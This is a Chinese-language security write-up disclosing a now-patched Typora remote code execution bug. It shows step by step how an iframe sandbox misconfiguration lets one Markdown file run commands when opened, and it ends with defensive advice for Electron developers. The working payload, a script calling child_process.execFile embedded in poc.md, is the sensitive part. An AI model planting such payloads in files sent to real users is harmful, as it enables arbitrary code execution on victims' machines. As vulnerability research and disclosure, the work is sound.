Typora簡介

Typora是一款顏值與實力共存的跨平臺Markdown編輯器,與Vscode、Atom、GitHub Desktop一樣,Typora也基於Electron框架進行開發,它拋棄了雙欄寫作以及寫後預覽的理念,將寫作與預覽窗口相結合,重新撿起了富文本「所見即所得」的呈現方式。

不得不說,在提升便利性和用戶體驗的同時,也正是自動實時預覽的功能給我們的漏洞提升了利用價值,此漏洞已在高於0.9.9.57 (beta)的版本進行了修復Typora for windows - dev version release.

漏洞分析

在一個弱小可憐又無助的夜晚,筆者正在用本文的主角Typora絞盡腦汁地寫文檔,由於是第一次使用這個編輯器,筆者的職業病在這時候發作了。

我們知道,針對Electron應用,大部分時候我們只要找到了XSS漏洞,也就約等於完成了命令執行。所以,我們祭出祖傳的XSS payload一頓打,驚喜發現沒有任何彈窗。通過簡單研究我們發現,Typora作者在研發的時候採用了cure53的DOMPurify過濾了預覽輸出的html,緩解了大部分的XSS攻擊。

那這個編輯器就沒有漏洞了嗎?

當然是不可能的。Kein System ist sicher.

有人可能會想到一個神奇的標籤<iframe>,那我們不如來嘗試一下。

  • round 1

輸入

<iframe src="javascript:alert(1)"></iframe>

輸出:

我們可以看到Typora會把src當做相對路徑來處理,那如果我們包含一個本地的html文件呢?

  • round 2

新建poc.md輸入

<iframe src="./poc.html"></iframe>

同目錄下的poc.html內容如下:

<script>
window.parent.top.alert(1)
</script>

我們驚喜發現出現了彈窗!

這個javascript為什麼執行了呢?

我們可以通過Typora的dev mode查看一下頁面源碼:

<iframe src="E:slidevul ypora_pocpoc.html" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox="allow-same-origin allow-scripts" onload="window.remoteOnLoad(this)" height="24" data-user-height="24"></iframe>

我們發現有這樣一個sandbox屬性:

sandbox="allow-same-origin allow-scripts"

通過查閱文檔HTML Standard發現,HTML 5通過sandbox屬性提升iframe的安全性,我們注意到文檔中有一個大大的warning:

Setting both the allow-scripts and allow-same-origin keywords together when the embedded page has the same origin as the page containing the iframe allows the embedded page to simply remove the sandbox attribute and then reload itself, effectively breaking out of the sandbox altogether.

思就是如果在iframe的sandbox屬性裏同時設置allow-scripts和allow-same-origin的話,同源的子頁面就可以通過javascript突破HTML 5的沙盒,sandbox形同虛設。

這樣我們便可以修改一下poc.html的源碼實現命令執行:

<script>
//rce
window.parent.top.require(child_process).execFile(C:/Windows/System32/calc.exe,function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

但是現在的漏洞利用起來非常雞肋,受害者需要下載兩個文件,同時保持在一個目錄,再打開poc.md,整個過程比較繁瑣,能不能用一個文件實現呢?

  • 嘗試srcdoc

<iframe srcdoc="<script>window.parent.top.alert(1)</script>"></iframe>

我們發現並沒有執行,查看一下源碼:

<iframe srcdoc="<script>window.parent.top.alert(1)</script>" guest-id="3" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox=""></iframe>

iframe未設置allow-scripts的獨立屬性,同時sandbox設置為空字元串,意思是應用所有的沙盒限制,因此使用srcdoc的方式不可行。

  • 嘗試引入md文件,而非html文件

新建一個cmd.md文件,內容與之前poc.html一致:

<script>
//rce
window.parent.top.require(child_process).execFile(C:/Windows/System32/calc.exe,function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

用Typora打開poc.md文件:

<iframe src="./cmd.md"></iframe>

我們發現是可以繼續實行命令執行的,由此可以看出,Typora在嵌入md文件之後,仍會對md文件的html標籤進行解析。

  • 直接引入poc.md自身

修改poc.md文件內容:

<iframe src="./poc.md"></iframe>

<script>
//rce
window.parent.top.require(child_process).execFile(C:/Windows/System32/calc.exe,function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

現在,我們只需要發送一個md文件給受害者,一旦受害者使用Typora打開,我們便可以在受害者的電腦上執行任意命令。

後記

隨著Electron框架在跨平臺應用開發市場取得的巨大成功,越來越多的開發者採用Electron進行應用開發,那麼如何在開發中比較好的避免出現這些風險呢,這裡有幾個建議:

  1. 採用諸如cure53/DOMPurify類似的組件過濾用戶輸入輸出,緩解XSS漏洞
  2. 各種HTML 5的安全屬性要正確設置,特別是iframe標籤
  3. 可以採用Electron的webview標籤去包裹用戶內容區,當然也要進行正確的安全設置,參考Webview Vulnerability Fix | Electron Blog
  4. 避免使用shell模塊去直接處理file://等協議的鏈接

推薦閱讀:

相關文章